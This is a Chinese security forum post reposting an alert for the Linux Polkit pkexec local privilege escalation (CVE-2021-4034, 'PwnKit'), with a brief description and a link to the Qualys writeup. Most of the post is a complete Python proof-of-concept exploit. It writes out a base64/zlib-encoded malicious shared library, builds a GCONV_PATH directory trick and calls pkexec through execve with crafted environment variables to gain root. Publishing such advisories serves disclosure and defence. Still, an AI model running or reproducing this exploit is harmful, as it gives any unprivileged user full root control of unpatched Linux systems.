安全矩阵

 找回密码
 立即注册
搜索
查看: 2474|回复: 0

漏洞预警:Linux Polkit权限提升漏洞 CVE-2021-4034

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-1-26 22:21:58 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-1-26 22:25 编辑

漏洞预警:Linux Polkit权限提升漏洞 CVE-2021-4034

转载于: PeiQi文库 PeiQi文库2022-01-26 12:23














:漏洞描述

  1. Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。
复制代码



二:  漏洞影响
  1. <p>Polkit > 2009</p>

  2. <p>

  3. </p><p>

  4. </p><p></p>
复制代码


三:  漏洞复现
  1. <p>原文链接:</p>

  2. <p>https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034</p>
复制代码

  1. # https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
  2. #!/usr/bin/env python3

  3. # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
  4. # hardcoded amd64 lib
  5. from ctypes import *
  6. from ctypes.util import find_library
  7. import os
  8. import zlib
  9. import base64
  10. import tempfile

  11. payload = zlib.decompress(
  12.     base64.b64decode(
  13.         """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"""
  14.     )
  15. )
  16. libc = CDLL(find_library("c"))
  17. libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
  18. libc.execve.restype = c_ssize_t

  19. wd = tempfile.mkdtemp()
  20. open(wd + "/pwn.so", "wb").write(payload)
  21. os.mkdir(wd + "/gconv/")
  22. open(wd + "/gconv/gconv-modules", "w").write(
  23.     "module  UTF-8//    INTERNAL    ../pwn    2"
  24. )
  25. os.mkdir(wd + "/GCONV_PATH=.")
  26. os.mknod(wd + "/GCONV_PATH=./gconv")
  27. os.chmod(wd + "/GCONV_PATH=.", 0o777)
  28. os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
  29. os.chmod(wd + "/pwn.so", 0o777)
  30. os.chdir(wd)
  31. cmd = b"/usr/bin/pkexec"
  32. argv = []
  33. envp = [
  34.     b"gconv",
  35.     b"PATH=GCONV_PATH=.",
  36.     b"LC_MESSAGES=en_US.UTF-8",
  37.     b"XAUTHORITY=../gconv",
  38.     b"",
  39. ]

  40. cargv = (c_char_p * (len(argv) + 1))(*argv, None)
  41. cenv = (c_char_p * (len(envp) + 1))(*envp, None)
  42. libc.execve(cmd, cargv, cenv)
复制代码





​四:  关于文库https://www.yuque.com/peiqiwiki











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:58 , Processed in 0.013368 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表